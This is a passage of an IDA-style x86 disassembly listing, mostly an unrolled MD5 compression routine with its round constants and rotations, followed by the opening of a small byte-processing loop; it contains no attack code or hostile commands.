[ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: MEW:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] 